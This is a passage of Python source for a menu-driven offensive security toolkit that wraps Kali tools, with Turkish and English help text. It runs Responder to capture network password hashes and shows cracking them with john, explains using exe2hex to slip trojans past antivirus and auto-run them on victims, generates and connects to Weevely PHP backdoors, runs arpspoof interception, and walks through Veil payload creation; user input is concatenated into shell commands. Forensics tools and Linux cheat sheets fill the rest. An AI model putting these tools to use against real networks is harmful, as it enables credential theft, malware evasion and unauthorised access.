_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ | responder | | | | ag uzerindeki cihazlarin netbios undan gelen istekleri izler ve takip eder | | | | ag uzerindeki cihaz, | | dosya paylasiminda ya da sitelerde sifre girdiyse bunlarin log kaydini hashli sekilde tutar | | aracin log kayitlari /usr/share/responder/logs/ icerisinde tutulur | | ex: /usr/share/responder/logs/HTTP-NTLMv2-192.168.10.8.txt | | | | hashli verileri nasil kirabilirsiniz? | | john /usr/share/responder/logs/HTTP-NTLMv2-192.168.10.8.txt | | | | back go back | |-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-|' """) os.system("echo '\n'") os.system("ifconfig") os.system("echo 'ex: eth0'") uinput = input("\n\x1b[1m\033[36m[mksec]\033[37m\x1b[0m ") if uinput == "back": os.system("clear") sniffingSpoofing() else: os.system("""echo ' agdaki cihazlari izleme isleminiz bittiginde ctrl+c ile islemi istediginiz zaman sonlandirin devam ederseniz, agdaki cihazlari sonsuza kadar takip edecektir ve log kayitlari tutacaktir'""") os.system("echo ' simdi baslamak icin ctrl + c yapiniz ' -a -d backback9") os.system("responder -I " + uinput) def exe2hex(): userexe = " " userpayload = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[exe2hex]\033[37m\x1b[0m ") UserInputs(uinput+"post") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mExe2hex is a tool that converts exe files to hexadecimal codes. (Not only the .exe extension, it also works for .py files or any file extension.)\n\x1b[35mWhat does it do?\x1b[37m\nUsually, trojans are caught by firewalls or antivirus programs.\nIf we convert the trojan to hexadecimal codes, firewalls and antivirus programs may not understand hexadecimal codes.\nFor this reason, it is difficult to detect.\nIn some cases it can never be detected.\n\x1b[35mThe situation to be considered after using the exe2hex tool!\x1b[37m\nType 'start file_name.exe' in the last line of the created .cmd file.\n\x1b[35mWhat happens if you don't?\x1b[37m\nThe exe extension will not run automatically.\nUser has to open file_name.exe manually and we don't like that (:\nIf the \x1b[36m'run'\x1b[37m command does not work, try with \x1b[36m'run -f'\x1b[37m (-f : --force). \n\x1b[33mTR:\x1b[37mExe2hex, exe dosyalarını hexadecimal kodlarına çeviren bir araçtır. (Sadece .exe uzantısı değil, .py uzantılı dosyalar ya da herhangi bir dosya uzantısında da işe yarar.)\n\x1b[35mNe işe yarar?\x1b[37m\nGenellikle trojanlar güvenlik duvarlarına ya da antivirüs programlarına yakalanır.\nEğer trojanı hexadecimal kodlarına çevirirsek güvenlik duvarları ve antivirüs programları hexadecimal kodlarını anlamayabilir.\nBu nedenden dolayı tespit etmekte zorlanır.\nBazı durumlarda asla tespit edilemez.\n\x1b[35mExe2hex aracı kullanıldıktan sonra dikkat edilmesi gereken durum!\x1b[37m\nolusturulan .cmd uzantılı dosyanın son satırına 'start dosya_adı.exe' yazınız.\n\x1b[35mEğer bunu yapmazsanız ne olur?\x1b[37m\nExe uzantısı otomatik olarak çalıştırılmayacaktır.\nKullanıcı manuel olarak dosya_adı.exe dosyasını açması gerekir ve biz bunu sevmeyiz (:\n\x1b[36m'run'\x1b[37m komutu çalışmazsa \x1b[36m'run -f'\x1b[37m (-f : --force) ile deneyiniz.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nFILE {} YES The EXE binary file to convert \x1b[32mex: /root/Desktop/mksec.exe\x1b[37m\nOUTPUT{} YES Extension must end with .cmd \x1b[32mex: /root/Desktop/mksec.cmd\x1b[37m".format(userexe,userpayload)) elif "set file" in uinput.lower(): userexe = uinput userexe = userexe.replace("set file ","").replace("set FILE ","").replace("SET file ","").replace("SET FILE ","").center(25) elif "set output" in uinput.lower(): userpayload = uinput userpayload = userpayload.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "run" == uinput.lower(): os.system("sudo exe2hex -x " + userexe.strip() + " -o " + userpayload.strip()) elif "run -f" == uinput.lower(): os.system("cd /opt/exe2hex/ && sudo python3 exe2hex.py -x " + userexe.strip() + " -o " + userpayload.strip()) def weevely(): def createabackdoor(): output = " " backdoorpassword = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[create_backdoor]\033[37m\x1b[0m ") UserInputs(uinput+"post") if uinput.lower() == "info": print("\x1b[1m\x1b[37m\x1b[33mWeevely\x1b[37m ile sifreli bir shell(backdoor) olusturun!") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nPASSWORD{} YES Add password \x1b[32mex: ex: passw0rd!\x1b[37m\nOUTPUT {} YES Output \x1b[32mex: /root/Desktop/backdoor.php\x1b[37m".format(backdoorpassword,output)) elif "set password" in uinput.lower(): backdoorpassword = uinput backdoorpassword = backdoorpassword.replace("set password ","").replace("set PASSWORD ","").replace("SET password ","").replace("SET PASSWORD ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "run" == uinput.lower(): os.system("weevely generate " + backdoorpassword.strip() + " " + output.strip()) def backdoorlistener(): link = " " listenerpassword = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[backdoor_listener]\033[37m\x1b[0m ") UserInputs(uinput+"post") if uinput.lower() == "info": print("\x1b[1m\x1b[37m\x1b[33mWeevely\x1b[37m ile olusturdugunuz backdoor'u dinlemenizi saglar.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nPASSWORD{} YES Enter your backdoor password \x1b[32mex: ex: passw0rd!\x1b[37m\nHOST {} YES Backdoor location \x1b[32mex: http://192.168.10.8/dvwa/hackable/uploads/backdoor.php\x1b[37m".format(listenerpassword,link)) elif "set password" in uinput.lower(): listenerpassword = uinput listenerpassword = listenerpassword.replace("set password ","").replace("set PASSWORD ","").replace("SET password ","").replace("SET PASSWORD ","").center(25) elif "set host" in uinput.lower(): link = uinput link = link.replace("set host ","").replace("set HOST ","").replace("SET host ","").replace("SET HOST ","").center(25) elif "run" == uinput.lower(): os.system("weevely " + link.strip() + " " + listenerpassword.strip()) create = " FALSE " listener = " FALSE " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[weevely]\033[37m\x1b[0m ") UserInputs(uinput+"post") if uinput.lower() == "info": print("\x1b[1m\x1b[37m\x1b[33mWeevely\x1b[37m, web siteleri ya da sunucularda antivirus programlarina ve guvenlik duvarlarina yakalanmayan, sizden baskasinin gorse bile anlamayacagi sifreli shell(backdoor) olusturmamizi saglar.\nOlusturulan backdoor weevely ile dinlenebilir.\nIlk once backdoor olusturun ve ardından onu dinleyin.\nSadece tek degeri 'TRUE' yapin ve 'run' komutu ile calistirin.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nCREATE BACKDOOR {} OPT Set this value to 'TRUE' to create a backdoor \x1b[32mDefault value = FALSE\x1b[37m\nBACKDOOR LISTENER{} OPT Set this value to 'TRUE' to listen for a backdoor \x1b[32mDefault value = FALSE\x1b[37m".format(create,listener)) elif "set create backdoor" in uinput.lower(): create = uinput create = create.replace("set create backdoor ","").replace("set CREATE BACKDOOR ","").replace("SET create backdoor ","").replace("SET CREATE BACKDOOR ","").center(25).upper() elif "set backdoor listener" in uinput.lower(): listener = uinput listener = listener.replace("set backdoor listener ","").replace("set BACKDOOR LISTENER ","").replace("SET backdoor listener ","").replace("SET BACKDOOR LISTENER ","").center(25).upper() elif "run" == uinput.lower(): if create.lower().strip() == "true" and listener.lower().strip() == "false": createabackdoor() elif listener.lower().strip() == "true" and create.lower().strip() == "false": backdoorlistener() elif create.lower().strip() == "true" and listener.lower().strip() == "true": print('\x1b[1m\x1b[31mYou cannot choose both.') else: print("\x1b[1m\x1b[31mYou have not selected one yet\x1b[1m") def binwalk(): format = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[binwalk]\033[37m\x1b[0m ") UserInputs(uinput+"fore") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mBinwalk, examines hardware software. Example: .bin, .iso etc... You can also try to examine .py files.\n\x1b[33mTR:\x1b[37mBinwalk, donanımların yazılımlarını inceler. Örnek: .bin, .iso vs... Bunun yanı sıra .py dosyalarını incelemeyi deneyebilirsiniz.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nFORMAT{} YES Type the location of the file you want to examine \x1b[32mex: /root/Desktop/mksec.bin\x1b[37m".format(format)) elif "set format" in uinput.lower(): format = uinput format = format.replace("set format ","").replace("set FORMAT ","").replace("SET format ","").replace("SET FORMAT ","").center(25) elif "run" == uinput.lower(): os.system("sudo binwalk -e " + format.strip()) print("Process Completed") def bulkExtractor(): format = " " output = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[bulk_extractor]\033[37m\x1b[0m ") UserInputs(uinput+"fore") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mBulk Extractor analyzes disks (dev/sda2) or image (iso) files.\n\x1b[33mTR:\x1b[37mBulk Extractor, diskleri (dev/sda2) veya imaj (iso) dosyalarını analiz eder.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nFORMAT{} YES Type the location of the file you want to analyze \x1b[32mex: '/root/Desktop/debian.iso' \x1b[37mor\x1b[32m '/dev/sda2'\x1b[37m Type \x1b[32m'--my discs' \x1b[37mor \x1b[32m'-md'\x1b[37m to see your discs\nOUTPUT{} YES Output \x1b[32mex: '/root/Desktop/analysis'\x1b[37m".format(format,output)) elif "set format" in uinput.lower(): format = uinput format = format.replace("set format ","").replace("set FORMAT ","").replace("SET format ","").replace("SET FORMAT ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "--my discs" == uinput.lower() or "-md" == uinput.lower(): os.system("fdisk -l") elif "run" == uinput.lower(): os.system("bulk_extractor " + format.strip() + " -o " + output.strip() + "") print("Process Completed") def hashdeep(): hash = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[hashdeep]\033[37m\x1b[0m ") UserInputs(uinput+"fore") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mGets the hash of a file. The data you will encounter will be in the following order. \n\x1b[33mTR:\x1b[37mBir dosyanın hash verisini elde eder. Karşılaşacağınız veriler aşağıdaki sırada olacaktır.\n'SIZE','md5','SHA256','FILENAME'") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nHASH {} YES Enter the file you want to get the hash data \x1b[32mex: '/root/Desktop/mksec.py'\x1b[37m".format(hash)) elif "set hash" in uinput.lower(): hash = uinput hash = hash.replace("set hash ","").replace("set HASH ","").replace("SET hash ","").replace("SET HASH ","").center(25) elif "run" == uinput.lower(): os.system("sudo hashdeep " + hash.strip()) print("Process Completed") def foremost(): filetype = " " disc = " " output = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[foremost]\033[37m\x1b[0m ") UserInputs(uinput+"fore") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mForemost finds extensions (.png, .exe etc...) inside disks.\n\x1b[33mTR:\x1b[37mForemost, disklerin içerisindeki uzantıları (.png, .exe vs...) bulur.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nFILETYPE{} YES Enter the file type \x1b[32mex: <png, jpeg, pdf, exe,..., all>\x1b[37m\nDISC {} YES Select your disc \x1b[32mex: '/dev/sda1'\x1b[37m Type \x1b[32m'--my discs' \x1b[37mor \x1b[32m'-md'\x1b[37m to see your discs\nOUTPUT {} YES Output \x1b[32mex: '/root/Desktop/mksec'\x1b[37m".format(filetype,disc,output)) elif "set filetype" in uinput.lower(): filetype = uinput filetype = filetype.replace("set filetype ","").replace("set FILETYPE ","").replace("SET filetype ","").replace("SET FILETYPE ","").center(25) elif "set disc" in uinput.lower(): disc = uinput disc = disc.replace("set disc ","").replace("set DISC ","").replace("SET disc ","").replace("SET DISC ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "--my discs" == uinput.lower() or "-md" == uinput.lower(): os.system("fdisk -l") elif "run" == uinput.lower(): os.system("sudo foremost -t " + filetype.strip() + " -i " + disc.strip() + " -o " + output.strip()) print("Process Completed") def cutycapt(): url = " " output = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[cutycapt]\033[37m\x1b[0m ") UserInputs(uinput+"rep") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mTakes screenshots of websites.\n\x1b[33mTR:\x1b[37mWeb sitelerinin ekran görüntüsünü alır.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nURL {} YES Target Site \x1b[32mex: github.com\x1b[37m\nOUTPUT {} YES Output \x1b[32mex: /root/Desktop/mksec.png or .jpg\x1b[37m".format(url,output)) elif "set url" in uinput.lower(): url = uinput url = url.replace("set url ","").replace("set URL ","").replace("SET url ","").replace("SET URL ","").center(25) elif "set output" in uinput.lower(): output = uinput output = output.replace("set output ","").replace("set OUTPUT ","").replace("SET output ","").replace("SET OUTPUT ","").center(25) elif "run" == uinput.lower(): os.system("sudo cutycapt --url=" + url.strip() + " --out=" + output.strip()) print("Process Completed") def pipal(): wordlist = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[pipal]\033[37m\x1b[0m ") UserInputs(uinput+"rep") if uinput.lower() == "info": print("\x1b[1m\x1b[33mEN:\x1b[37mPipal is a wordlist analysis tool. If it doesn't work with the \x1b[36m'run'\x1b[37m command, try the \x1b[36m'run -f'\x1b[37m command.\n\x1b[33mTR:\x1b[37mPipal, wordlist analiz aracıdır. \x1b[36m'run'\x1b[37m komutu ile çalışmıyorsa \x1b[36m'run -f'\x1b[37m komutunu deneyiniz.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nWORDLIST{} YES Type the word list location \x1b[32mex: /usr/share/fern-wifi-cracker/extras/wordlists/common.txt\x1b[37m".format(wordlist)) elif "set wordlist" in uinput.lower(): wordlist = uinput wordlist = wordlist.replace("set wordlist ","").replace("set WORDLIST ","").replace("SET wordlist ","").replace("SET WORDLIST ","").center(60) elif "run" == uinput.lower(): os.system("pipal " + wordlist.strip()) print("Process Completed") elif "run -f" == uinput.lower(): os.system("cd /opt/pipal/ && ruby pipal.rb " + wordlist.strip()) print("Process Completed") def arpspoof(): iface = " " target = " " router = " " while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[foremost]\033[37m\x1b[0m ") UserInputs(uinput+"sniff") if uinput.lower() == "info": print("\x1b[1m\x1b[37m\x1b[33mForemost\x1b[37m, disklerin içerisindeki uzantıları bulur.") elif uinput.lower() == "options": print("\x1b[1m\x1b[33mOption\x1b[37m \x1b[33mCurrent Setting\x1b[37m \x1b[33mRequirement\x1b[37m \x1b[33mDescription\x1b[37m\n\x1b[33m=======\x1b[37m \x1b[33m===============\x1b[37m \x1b[33m===========\x1b[37m \x1b[33m============\x1b[37m\nIFACE {} YES Write your interface \x1b[32mex: eth0\x1b[37m\nTARGET {} YES Enter the IP address of the target device \x1b[32mex: 192.168.10.5\x1b[37m\nROUTER {} YES Enter the router IP address \x1b[32mex: '192.168.10.1'\x1b[37m".format(iface,target,router)) elif "set iface" in uinput.lower(): iface = uinput iface = iface.replace("set iface ","").replace("set IFACE ","").replace("SET iface ","").replace("SET IFACE ","").center(25) elif "set target" in uinput.lower(): target = uinput target = target.replace("set target ","").replace("set TARGET ","").replace("SET target ","").replace("SET TARGET ","").center(25) elif "set router" in uinput.lower(): router = uinput router = router.replace("set router ","").replace("set ROUTER ","").replace("SET router ","").replace("SET ROUTER ","").center(25) elif "run" == uinput.lower(): os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") os.system("arpspoof -i " + iface.strip() + " -t " + target.strip() + " -r " + router.strip()) print("Process Completed") def nessus(): os.system("clear") while 1: print("""\x1b[1m\x1b[36m \x1b[7mNessus\x1b[0m\x1b[1m \x1b[37mInstall:\x1b[36m >> linux icin nessus indir >> cd Download/ >> dpkg -i Nessus-6.10-debian.deb kurulum tamamlandiktan sonra local site verecektir onu kaydetmemiz gerekir. ex: https://kali:8834/ >> service nessusd start >> https://kali:8834/ kurulumu tamamlayalim. eger aktivasyon kodu istenirse free kaydolarak alabiliriz \x1b[37m----------------------------------------------------------------------------------------------------------------\x1b[36m \x1b[37mZaafiyet taramasi:\x1b[36m >> service nessusd start >> https://kali:8834/ >> new scan >> advanced scan >> istedigimiz kisimlari dolduralim ve target kismina ip adresi ya da site adresi yazalim. >> launch \x1b[7mpress <return> to continue\x1b[0m\x1b[1m""") uinput = input("") UserInputs(uinput+"vuln") def veil(): os.system("""echo \x1b[1m\x1b[36m' \x1b[7mVeil\x1b[0m\x1b[1m \x1b[37mInstall:\x1b[36m >> apt-get install veil y \x1b[37m----------------------------------------------------------------------------------------------------------------\x1b[36m \x1b[37mUsage:\x1b[36m >> veil >> update >> list >> 1 >> list >> use 14 >> set LHOST <YOUR.IP.ADDR> >> set LPORT 8080 >> generate >> test \x1b[7mpress <return> to continue\x1b[0m\x1b[1m'""") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[veil]\033[37m\x1b[0m ") UserInputs(uinput+"exp") def find(): print("\x1b[1m\x1b[33m\x1b[7m[EN] Find Command\x1b[0m\x1b[1m\n\x1b[33mEX: find -name mert.sh\x1b[37m\nSearches for the location of the 'mert.sh' file you don't know where it is. \n\x1b[33mEX: find /etc -name local*\x1b[37m\nIt searches for all files and directories starting with 'local' in the '/etc/' directory.\n\x1b[33mEX: find -name linux -type f\x1b[37m\nLists only files with the name 'linux'.\n\x1b[33mEX: find -name linux type d\x1b[37m\nLists only directories with the name 'linux'.\n\x1b[33mEX: find -perm 777\x1b[37m\nLists files with authority '777'.\n\x1b[33mEX: find -name *.jpg\x1b[37m\nSearches for files with the '.jpg' extension. \n\x1b[33mEX: find -name *.jpg | xargs rm\x1b[37m\nThe found '.jpg' files are assigned to xargs and deleted all of them.\n\x1b[33m\x1b[1m\x1b[33m\x1b[7m[TR] Find Komutu\x1b[0m\x1b[1m\n\x1b[33mÖRN: find -name mert.sh\x1b[37m\nNerede olduğunu bilinmeyen 'mert.sh' dosyanın konumunu arar.\n\x1b[33mÖRN: find /etc -name local*\x1b[37m\n'/etc/' dizininde 'local' ile başlayan bütün dosyaları ve dizinleri arar.\n\x1b[33mÖRN: find -name linux -type f\x1b[37m\n'linux' isminin geçtiği sadece dosyaları listeler.\n\x1b[33mÖRN: find -name linux type d\x1b[37m\n'linux' isminin geçtiği sadece dizinleri listeler.\n\x1b[33mÖRN: find -perm 777\x1b[37m\n'777' yetkilendirilmesine sahip dosyaları listeler.\n\x1b[33mÖRN: find -name *.jpg\x1b[37m\n'.jpg' uzantılı dosyaları arar.\n\x1b[33mÖRN: find -name *.jpg | xargs rm\x1b[37m\nBulunan '.jpg' uzantılı dosyaları xargs'a atanır ve hepsini siler.\x1b[37") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[find]\033[37m\x1b[0m") UserInputs(uinput+"lin") def grep(): print("\x1b[1m\x1b[33m\x1b[7mGrep Command\x1b[0m\x1b[1m\n\x1b[33mEX: grep 'mert' deneme.txt\x1b[37m\nIt searches for the word 'mert' in the 'txt' extension files in the directory you are in.\n\x1b[33mEX: grep -i 'mert' deneme.txt\x1b[37m\nThe '-i' eliminates case sensitivity.\n\x1b[33mEX: grep -i 'mert' *\x1b[37m\nThe '*' is the escape sequence. It searches all files but not directories.\n\x1b[33mEX: grep -ir 'mert' *\x1b[37m\nSearches in all files and directories.\n\x1b[33mEX: grep -ir 'mert' a*\x1b[37m\nIt searches for mert only in files and directories starting with 'a'.\n\x1b[33mEX: ls | grep 'mert'\x1b[37m\nLists files or directories containing 'mert'.\n\x1b[1m\x1b[33m\x1b[7mGrep Komutu\x1b[0m\x1b[1m\n\x1b[33mÖRN: grep 'mert' deneme.txt\x1b[37m\nBulunduğunuz dizindeki 'txt' uzantılı dosyalarda 'mert' kelimesini arar.\n\x1b[33mÖRN: grep -i 'mert' deneme.txt\x1b[37m\n'-i' büyük küçük harf duyarlılığını ortadan kaldırır.\n\x1b[33mÖRN: grep -i 'mert' *\x1b[37m\n'*' kaçış dizisidir. Bütün dosyalarda arar fakat dizinlerde aramaz.\n\x1b[33mÖRN: grep -ir 'mert' *\x1b[37m\nBütün dosya ve dizinlerde arar.\n\x1b[33mÖRN: grep -ir 'mert' a*\x1b[37m\nSadece 'a' ile başlayan dosya ve dizinlerde mert'i arar.\n\x1b[33mÖRN: ls | grep 'mert'\x1b[37m\nİçerisinde 'mert' olan dosya veya dizinleri listeler.\x1b[37m") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[grep]\033[37m\x1b[0m ") UserInputs(uinput+"lin") def man(): print("\x1b[1m\x1b[33m\x1b[7mMan Command\x1b[0m\x1b[1m\n\x1b[33m>> mandb\x1b[37m\nUpdates the man database.\n\x1b[33m>> man -k [command]\x1b[37m\nIf we don't remember the name of the command, but we remember its function, we use it.\n\x1b[32mEX: man -k delete\x1b[36m\n\x1b[32mEX: man -k command\x1b[36m\n\x1b[32mEX: man -k kill\x1b[37m\n\x1b[1m\x1b[33m\x1b[7mMan Command\x1b[0m\x1b[1m\n\x1b[33m>> mandb\x1b[37m\nMan veritabanını günceller.\n\x1b[33m>> man -k [komut]\x1b[37m\nKomutun ismini hatırlamıyorsak ama işlevini hatırlıyorsak kullanırız.\n\x1b[32mÖRN: man -k sil\x1b[36m\n\x1b[32mÖRN: man -k command\x1b[36m\n\x1b[32mÖRN: man -k kill\x1b[37m") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[man]\033[37m\x1b[0m ") UserInputs(uinput+"lin") def cli(): print("\x1b[1m\x1b[33m\x1b[7mKomut Satırı Arayüzü\x1b[0m\x1b[1m\n6 farklı konsol üzerinden çalışabiliriz. Bunlardan iki tanesi grafiksel dört tanesi komut satırı arayüzüdür. Şekli aşağıdaki grafiktedir.\n\x1b[33m>> CTRL + ALT + F3\n\x1b[33m>> ALT + F1 or ALT F2\x1b[37m (Grafiksel arayüz)\n\x1b[33m>> ALT + F3, F4, F5 or F6\x1b[37m (Komut satırı arayüzü)\x1b[34m\n|----------------------------------------------|\n| Grafiksel | Komut Satırı Arayüzü |\n|tty1 tty2 | tty3 tty4 tty5 tty6 |\n|----------------------------------------------|\x1b[37m\n\n\x1b[1m\x1b[33m\x1b[7mCommand Line Interface\x1b[0m\x1b[1m\nWe can work through 6 different consoles. Two of them are graphical and four are command line interfaces. Its shape is in the graphic below.\n\x1b[33m>> CTRL + ALT + F3\n\x1b[33m>> ALT + F1 or ALT F2\x1b[37m (Graphical interface)\n\x1b[33m>> ALT + F3, F4, F5 or F6\x1b[37m (Command line interface)\x1b[34m\n|----------------------------------------------|\n| Graphical | Command Line Interface |\n|tty1 tty2 | tty3 tty4 tty5 tty6 |\n|----------------------------------------------|\x1b[37m\n") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[command_line_interface]\033[37m\x1b[0m ") UserInputs(uinput+"lin") def alc(): RandomBannerSelector() print("\x1b[1m\x1b[37m\n01\x1b[36m English\n\x1b[37m02\x1b[36m Turkish\n\x1b[37m") while 1: uinput = input("\x1b[1m\033[36m[mksec]\033[36m[all_linux_commands]\033[37m\x1b[0m ") if uinput == "1" or uinput == "01": print("\x1b[1m\x1b[33mFile Commands\x1b[37m\n\x1b[33m=============\x1b[37m\nls –> list directory\nls -al –> list directory with hidden files\ncd [directory] –> change directory\ncd –> go to home directory\npwd –> view current directory\nmkdir [directory] –> create a new directory\nrm [file] –> delete file\nrm -r [directory] -> delete directory\nrm -f [file] –> force delete file\nrm -rf [directory] –> force delete directory\ncp [directory1] [directory2] –> copy directory1 to directory2\ncp -r [directory1] [directory2] –> copy directory1 to directory2; if index2 doesn't exist, create this\nmv [file1] [file2] –> rename or move file1 to file2. If file2 exists, move the contents of file1 into file2\nln -s [file] [link] –> create symboliclink to file or link\ntouch [file] –> create or update file\ncat > [file] –> create standard input to file\nmore [file] –> view the contents of the file\nhead [file] –> show first 10 lines of file\ntail [file] –> show last 10 lines of file\ntail -f [file] –> show last 10 lines of file and all\n\x1b[33mSystem Information\n\x1b[33m==================\x1b[37m\ndate –> show current date and time\ncal –> show this month's calendar\nuptime –> show current service time\nw –> show who is online\nwhoami –> show logged in person\nfinger [user] –> information about the user\nuname -a –> show kernel info\ncat /proc/cpuinfo –> cpu info\ncat /proc/meminfo –> memory information\nman [command] –> show manual for command\ndf –> show disk usage\ndu –> show size usage of directories\nfree –> show memory and swap usage\nwhereis [app] –> probable location of the app\nwhich [app] –> show which application directories are running by default\n\x1b[33mProcess Management\n==================\x1b[37m\nps –> show active processes\ntop –> show all processes\nkill [pid] –> kill process with pid header\nkillall proc –> End all processes with title proc *\nbg –> lists stopped or trailing tasks; resumes a stopped task in the background\nfg –> reveals the most current task\nfg [n] –> Brings task n to the front\n\x1b[33mCompression\n===========\x1b[37m\ntar cf [file.tar] [files] –> Create a file named file.tar containing the files in the directory.\ntar xf [file.tar] –> Extract file.tar\ntar czf [file.tar.gz] files –> Generate a tar file with gzip\ntar xzf [files.tar.gz] –> Extract directory with gzip\ntar cjf [file.tar.bz2] –> Prepare a tar file with bzip2\ntar xjf [file.tar.bz2] –> Extract directory with bzip2\ngzip [file] –> compress file and rename to file.gz\ngzip -d [file.gz] –> Extract file.gz back as a file\n\x1b[33mNetwork\n=======\x1b[37m\nping [host] –> ping the host and show the result\nwhois [domain] –> whois information for the domain\ndig [domain] –> DNS information for the domain\ndig -x [host] –> reverse host solution\nwget [file] –> download file\nwget -c [file] –> continue download\n\x1b[33mFile Permissions\n==============\x1b[37m\nchmod [code] [file] –> change file permissions, these permissions vary for different categories (like user, group and everyone):\n• 4 = read (r)\n• 2 = write (w)\n• 1 = execute (x)\nexamples:\nchmod 777 –> read, write, execute for everyone\nchmod 755 –> rwx is for the owner, rx is for the group and everyone.\nfor more: man chmod\n\x1b[33mSetup\n=====\x1b[37m\nInstallation from source:\n./configure\nmake\nmake install\ndpkg -i pkg.deb –> package installation (debian)\nrpm -Uvh pkg.rpm –> package installation (RPM)\n\x1b[33mSSH\n===\x1b[37m\nssh [user@host] –> connect to server as user\nssh -p [port] [user@host] –> connect to server via port as user\nssh-copy-id [user@host] –> add key for user and login with key and no password\n\x1b[33mSearch\n=====\x1b[37m\ngrep [pattern] [files] –> look for patterns in files\ngrep -r [pattern] [dir] –> search the directory recursively for the pattern\n[command] | grep [pattern] –> look for pattern in command output\nlocate [file] –> search all instances of file\n\x1b[33mShortcuts\n=========\x1b[37m\nCtrl+C –> stops the current command\nCtrl+Z –> stops the current command, resumes the command with 'fg' in front or 'bg' in back\nCtrl+D –> log out like exit\nCtrl+W –> deletes a word in a line\nCtrl+U –> deletes the entire row\nCtrl+R –> bring the last command to the front\nCtrl+P –> show last command\n!! -> 